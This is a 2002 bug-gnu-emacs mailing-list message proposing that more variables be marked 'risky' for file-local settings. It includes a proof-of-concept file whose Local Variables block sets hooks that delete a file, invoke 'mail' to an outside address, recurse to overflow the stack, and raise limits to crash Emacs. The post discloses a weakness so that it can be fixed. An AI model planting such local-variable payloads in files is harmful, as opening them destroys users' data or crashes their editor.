unofficial mirror of bug-gnu-emacs@gnu.org 
 help / color / mirror / code / Atom feed
From: Jonathan Yavner <jyavner@comcast.net>
Subject: More risky variables?
Date: Tue, 26 Mar 2002 16:47:07 GMT	[thread overview]
Message-ID: <3CA0A642.BF23DD45@comcast.net> (raw)

These variables can act as function hooks, so perhaps they should be
marked as "risky" even though I can't think of a way to create a
problem with them via hack-local-variables:
  imenu-generic-expression, imenu-index-alist, interpreter-mode-alist,
  standard-input, standard-output, unread-command-events,
  ANYTHING ENDING IN "-map"

Bad values for these variables can cause Emacs to crash:
  max-lisp-eval-depth, max-specpdl-size

Example file (give it a name with no extension):
...........snip here...................................................
#!/bin/test -a -b -c
After enabling the `eval-expression' command, try
  M-: ( read ) RET
  M-: ( princ 1 ) RET
  M-: ( normal-mode t ) RET
  M-: ( funcall stack-overflow ) RET
  M-: ( imenu )

;;; Local Variables:
;;; standard-input: (lambda () (delete-file "an-important-file"))
;;; standard-output: (lambda (x)
       (call-process "mail" nil nil nil "me@x.gov"))
;;; stack-overflow: (lambda (&rest ignore) (funcall stack-overflow))
;;; interpreter-mode-alist: (("test" . (lambda ()
        (message "Trojan horse!"))))
;;; max-lisp-eval-depth: 1000000
;;; max-specpdl-size: 1000000
;;; unread-command-events: (24 3)
;;; imenu-generic-expression: (("Local V" 0 stack-overflow))
;;; imenu-index-alist: (("Local V" 0 stack-overflow))
;;; End:
..........snip here...................................................

                 reply	other threads:[~2002-03-26 16:47 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

  List information: https://www.gnu.org/software/emacs/

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=3CA0A642.BF23DD45@comcast.net \
    --to=jyavner@comcast.net \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
Code repositories for project(s) associated with this public inbox

	https://git.savannah.gnu.org/cgit/emacs.git

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).